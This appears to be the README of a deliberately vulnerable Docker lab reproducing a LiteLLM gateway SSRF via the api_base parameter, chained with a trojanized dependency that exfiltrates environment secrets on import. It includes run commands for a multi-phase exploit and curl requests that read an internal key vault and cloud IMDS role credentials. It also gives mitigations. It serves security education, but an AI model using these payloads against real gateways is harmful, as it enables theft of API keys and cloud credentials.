
مختبر Docker م vulnerabil عمدًا يعيد إنتاج CVE-2026-33634: ثغرة SSRF في بوابة LiteLLM عبر api_base بالإضافة إلى تبعية مُحصّنة بحصان طروادة، مع استغلال متعدد المراحل لسرقة بيانات الاعتماد.
api_base (PoC / Lab)⚠️ مختبر مُعرَّض للثغرات عن قصد، للاستخدام التعليمي و المُصرَّح به. شغّله فقط على جهازك، مقابل حاويات هذا المستودع. اقرأ SECURITY-NOTES.md قبل البدء.
🚫 لا تشغّل هذا المختبر أبدًا على جهاز افتراضي سحابي ولا على جهاز مشترك. البوابة لديها SSRF غير مقيّد عن قصد: إذا وُجد IMDS حقيقي (
169.254.169.254) أو خدمات حساسة على loopback/الشبكة المحلية، فإن SSRF يصل إليها فعليًا. المنافذ منشورة فقط على127.0.0.1؛ أبقِها كذلك. استخدم مضيفًا معزولًا/قابلًا للتخلص منه.
CVSS 9.4 (حرج). اختراق سلسلة التوريد لبوابة LiteLLM
(مارس/2026): تبعية خبيثة في مكتبة بوابة كشفت
محفظة بيانات اعتماد مزوّدي الذكاء الاصطناعي بالكامل. النمط المتكرر
لهذه الطبقة يظهر معها: مفتاح OpenAI في الوكيل وSSRF في المعامل
api_base. يعيد هذا المختبر إنتاج الثغرتين ويسلسلهما في استغلال واحد.
litellm-telemetry-helper (في malicious-dep/) يحاكي
التبعية العابرة المخترقة. في رواية الحادثة، تثبيت ضعيف
(>=0.9.6) كان سيترك المُحلِّل يسحب النسخة الخبيثة 0.9.7 بدلًا
من 0.9.6 النظيفة. الحمولة تنطلق عند import (يكفي أن يُحلّ
المُحلِّل التبعية) وفي خيط خلفي، تسرّب البيئة بالكامل
(OPENAI_API_KEY، ANTHROPIC_API_KEY، AWS_*، ...) إلى جامع
المهاجم — بصمت، دون كسر التطبيق.
api_baseالوكيل (gateway/app.py) يقبل api_base (وهو base_url
للمزوّد) قادمًا من المُستدعي، دون قائمة سماح. يتحكم المهاجم في الوجهة التي
تُجري إليها البوابة الطلبات، والبوابة كذلك:
Authorization، وبهذا يمكن: الوصول إلى خدمات داخلية (/admin/keys)، وسرقة
بيانات اعتماد سحابية في IMDS (169.254.169.254)، ومسح منافذ الشبكة
الداخلية، وتسريب مفتاح كل مزوّد بتوجيه api_base عائدًا
إلى المهاجم.
HOST (você / atacante)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── rede docker "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil da dep maliciosa) │ (litellm │
│ • /collect (chave vazada via SSRF) │ :4000) │
│ • /oob (confirmação SSRF cego) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NÃO publicado) ◄───────┤ │
│ imds.lab:80 /latest/... (NÃO publicado) ◄───────┤ │
│ provider-mock.lab:9100 (upstream "normal") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab وimds.lab ليس لهما منفذ منشور — فقط SSRF البوابة
يصل إليهما. هذه هي نقطة المختبر.
المتطلبات المسبقة: Docker + Docker Compose v2، وPython 3.9+ مع httpx للاستغلال.
cd CVE-2026-33634
# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build # ou: make up
# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt
# 3) roda o exploit completo
python3 exploit/exploit.py # ou: make exploit
تشغيل مراحل منفصلة:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # só rouba o cofre interno
python3 exploit/exploit.py --only cloud # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain # só verifica o beacon da dep
يُحفظ الـ loot الكامل في loot.json. تابع المهاجم وهو يستقبل البيانات:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
يعطي هذا المختبر الأولوية للوضوح التعليمي وقابلية إعادة الإنتاج. وحيث يُجرّد الحادثة الحقيقية، فذلك عن قصد — ويستحق معرفة الفروق:
import litellm_telemetry_helper صراحةً، بدلًا من أن تكون الحزمة تبعية
عابرة مخفية في شجرة litellm الحقيقية. الأثر
(الحمولة عند الاستيراد) مطابق؛ لكن سلسلة الحل تم تقصيرها.>=0.9.6 هو
الرواية (سطر معلَّق في gateway/requirements.txt)؛ في المختبر تُثبَّت التبعية
من ./malicious-dep عبر Dockerfile — لا يوجد فهرس PyPI يحل
0.9.7 فوق 0.9.6. لممارسة الحل فعليًا، شغّل فهرسًا
محليًا (pypiserver/devpi) بالنسختين.api_base، يستخدم المختبر الـ URL حرفيًا
عند وجود مسار صريح (لإظهار قراءة /admin/keys وIMDS
في معامل واحد). في المسار المتوافق مع OpenAI، يدمج LiteLLM الحقيقي
لاحقة ثابتة (/chat/completions) ويُجري POST — والتحكم عادةً يكون في
المضيف (تسريب المفتاح، SSRF عبر المضيف) ويظهر المسار العشوائي في مسارات
passthrough/health. الأثر المُظهَر (تسريب المحفظة + محور
داخلي/سحابي) مطابق؛ لكن بناء الـ URL الدقيق مبسَّط.SSRF (api_base)
169.254.0.0/16 (IMDS)؛
حلّ DNS وتحقق من IP قبل الاتصال (احذر من rebinding).hop-limit=1 على مضيف السحابة.سلسلة التوريد
--require-hashes، lockfile)؛ لا >=.pip install كتنفيذ كود (install hooks)؛ استخدم sandbox/CI معزول.بيانات الاعتماد/السر (الحد الأدنى)
CVE-2026-33634/
├── docker-compose.yml # orquestra tudo na rede labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # proxy LiteLLM-style VULNERÁVEL (SSRF + import da dep)
├── malicious-dep/ # a dependência trojanizada (payload no import)
├── collector/ # coletor do atacante (/beacon /collect /oob /loot)
├── internal-service/ # /admin/keys interno (só via SSRF)
├── imds/ # mock do metadata service de nuvem (só via SSRF)
├── provider-mock/ # upstream "normal" (contraste)
├── exploit/exploit.py # exploit multi-fase (async)
├── SECURITY-NOTES.md # vulns intencionais, contenção e autorização
└── README.md
| المرحلة | التقنية |
|---|
recon | بصمة البوابة؛ يُعدّد النماذج/المزوّدين؛ يكتشف مصرف api_base. |
ssrf | يؤكد SSRF بشكل أعمى (خارج النطاق): يفرض callback برمز فريد إلى الجامع. |
scan | مسح منافذ الشبكة الداخلية عبر البوابة (متزامن). |
internal | SSRF → internal.lab/admin/keys: يسرّب خزنة بيانات الاعتماد بالكامل. |
cloud | SSRF → IMDS: يسرق بيانات اعتماد STS مؤقتة لدور النسخة. |
keyleak | يوجّه api_base إلى المهاجم؛ البوابة تسرّب مفتاح كل مزوّد في Authorization. |
supplychain | يقرأ الـ loot: التبعية المُحصَّنة سرّبت البيئة بالفعل عند الاستيراد. |
report | يجمع الأثر ويكتب loot.json. |